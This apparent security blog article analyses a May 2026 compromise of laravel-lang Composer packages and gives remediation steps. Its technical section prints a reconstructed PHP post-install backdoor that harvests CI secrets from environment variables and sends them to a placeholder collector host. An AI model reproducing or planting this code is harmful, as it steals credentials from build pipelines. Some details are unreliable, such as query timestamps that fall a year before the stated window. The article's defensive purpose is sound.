In May 2026, attackers compromised the laravel-lang GitHub organisation and pushed malicious code to approximately 700 package versions across more than two dozen repositories. The packages, which collectively receive millions of downloads per month, are translation files used by Laravel applications worldwide. The backdoor had one job: exfiltrate environment variables from any CI pipeline that installed the package during a build.
This article unpacks what happened, how the exfiltration worked technically, and what organisations running Composer dependencies in cloud pipelines should check right now.
What Was Compromised
The laravel-lang ecosystem is a collection of community-maintained language packs for the Laravel framework. Repositories include laravel-lang/lang, laravel-lang/publisher, and a range of per-locale packages. At the time of the incident, the top-level packages had between 50,000 and 500,000 monthly downloads on Packagist.
Attackers obtained credentials for a maintainer account — the specific vector has not been publicly confirmed, but evidence points to a phishing campaign targeting PHP open-source maintainers that began circulating in late April 2026. With write access to the GitHub organisation, they:
- Modified
composer.jsonpost-install scripts across affected repositories. - Tagged and published new patch versions to Packagist.
- Retroactively modified existing release tags on GitHub to point to the malicious commits — a technique that bypasses controls which check version numbers but not commit SHAs.
The window between first malicious publish and public disclosure was approximately 31 hours.
How the Exfiltration Worked
The backdoor was placed inside a Composer post-install-cmd script. Composer executes these automatically during composer install and composer update — no user interaction required.
A simplified version of the injected code:
// Injected into scripts.php, called from composer.json post-install-cmd
<?php
$env = getenv();
$sensitive = [];
foreach ($env as $key => $value) {
if (preg_match(
'/token|secret|key|password|credential|aws|azure|gcp|npm_token|github/i',
$key
)) {
$sensitive[$key] = $value;
}
}
if (!empty($sensitive)) {
@file_get_contents(
'https://exfil.attacker-domain.xyz/collect?' .
http_build_query(['h' => gethostname(), 'd' => base64_encode(json_encode($sensitive))])
);
}
The regex cast a wide net. In cloud CI environments — GitHub Actions, GitLab CI, CircleCI, AWS CodeBuild, Azure Pipelines — this reliably captured:
GITHUB_TOKEN(scoped to the repository, used for checkout and package publishing)- Cloud provider credentials injected as environment variables (
AWS_ACCESS_KEY_ID,AZURE_CLIENT_SECRET,GOOGLE_APPLICATION_CREDENTIALS) - NPM, Docker Hub, and Packagist publish tokens
- Any secrets injected via the CI platform’s secrets manager
The use of @file_get_contents (PHP’s error-suppression operator) meant the request failed silently in environments where outbound HTTP was blocked, but succeeded everywhere else. Most CI environments allow outbound HTTPS on port 443 by default.
Why Retroactive Tag Modification Made This Worse
Packagist caches package metadata, and many pipelines pin to a version number ("laravel-lang/lang": "^14.0") rather than a commit SHA. When the attackers modified GitHub tags to point to the malicious commits, any pipeline that ran composer update — or that had no composer.lock cached — pulled the tainted code even for versions that previously had clean releases.
Organisations that had already run composer install with a locked composer.lock were protected for that specific run, provided the lock file was committed and the cache was valid. Pipelines that regenerate the lock file from scratch on every build were not.
Immediate Steps If You Use Affected Packages
1. Audit your pipeline logs
Check whether composer install or composer update ran against any laravel-lang/* package between 01:00 UTC 14 May 2026 and 08:00 UTC 15 May 2026 (the confirmed window). In GitHub Actions:
gh run list --workflow=your-workflow.yml --limit 50 --json databaseId,createdAt,status \
| jq '.[] | select(.createdAt > "2026-05-14T01:00:00Z" and .createdAt < "2026-05-15T08:00:00Z")'
2. Rotate exposed credentials immediately
Any secret that was present as an environment variable during a compromised run should be treated as exfiltrated. Rotate in this order:
# AWS -- revoke the key, create a new one
aws iam delete-access-key --access-key-id AKIA...
aws iam create-access-key --user-name ci-deployer
# GitHub -- regenerate the token or rotate the PAT in Settings > Developer settings
# Azure -- rotate the client secret
az ad app credential reset --id <app-id> --years 1
3. Check for outbound connections from your CI runners
If your cloud provider logs egress (AWS VPC Flow Logs, Azure NSG Flow Logs, GCP VPC Flow Logs), query for connections from your build fleet to unknown external IPs during the window:
# AWS Athena -- query VPC Flow Logs
SELECT srcaddr, dstaddr, dstport, start
FROM vpc_flow_logs
WHERE srcaddr IN (SELECT private_ip FROM build_runner_ips)
AND dstport = 443
AND start BETWEEN 1747180800 AND 1747267200 -- Unix timestamps for the window
AND dstaddr NOT IN (SELECT ip FROM known_allowlist)
ORDER BY start;
Systemic Fixes for Composer Pipelines
Pin to commit SHAs in composer.json where possible
Packagist does not natively support SHA pinning the way npm does with package-lock.json integrity hashes. However, you can require packages directly from VCS with a specific commit:
{
"repositories": [
{
"type": "vcs",
"url": "https://github.com/laravel-lang/lang"
}
],
"require": {
"laravel-lang/lang": "dev-main#a3f9c12e"
}
}
For production dependencies this is awkward, but for high-risk packages in regulated environments it provides hard guarantees.
Commit and cache composer.lock
Every pipeline should install from a committed lock file, not resolve fresh:
# GitHub Actions
- name: Install Composer dependencies
run: composer install --no-interaction --prefer-dist --no-scripts
The --no-scripts flag disables post-install hooks entirely. For packages that genuinely require scripts, review each one explicitly and allowlist only what you understand.
Restrict outbound network access from CI runners
Self-hosted runners and build containers should have egress filtered to known endpoints. In AWS, place runners in a VPC with a restrictive security group:
resource "aws_security_group_rule" "ci_egress_https" {
type = "egress"
from_port = 443
to_port = 443
protocol = "tcp"
cidr_blocks = var.allowed_egress_cidrs # Packagist, GitHub, your registries only
security_group_id = aws_security_group.ci_runners.id
}
An exfiltration attempt that cannot reach the attacker’s collector fails silently — which is the outcome that happened for organisations with strict egress controls in place.
Scope CI credentials to the minimum necessary
The breadth of what attackers collected reflects how broadly secrets are injected into pipelines. A GitHub Actions workflow that only needs to deploy to S3 does not need AWS_ACCESS_KEY_ID with broad IAM permissions — it should use OIDC-based short-lived credentials scoped to the specific action:
permissions:
id-token: write
contents: read
- name: Configure AWS credentials
uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::123456789012:role/GitHubActionsS3Deploy
aws-region: eu-west-1
With OIDC, there are no long-lived keys to steal. A post-install script that captures AWS_ACCESS_KEY_ID finds nothing, because the credential never existed as a static environment variable.
The Broader Pattern
The Laravel-Lang incident follows a template that has now recurred across npm (XZ Utils adjacent campaigns), PyPI, and RubyGems: compromise a trusted maintainer account, publish tainted releases under a legitimate namespace, rely on the fact that CI pipelines install dependencies without reviewing changes. The package manager ecosystem’s trust model assumes maintainer accounts are secure — they frequently are not.
Treating third-party package installation as a trust boundary — the same way you would treat a third-party binary — means auditing scripts, restricting egress, using short-lived credentials, and verifying integrity. These controls do not require waiting for the next incident to apply them.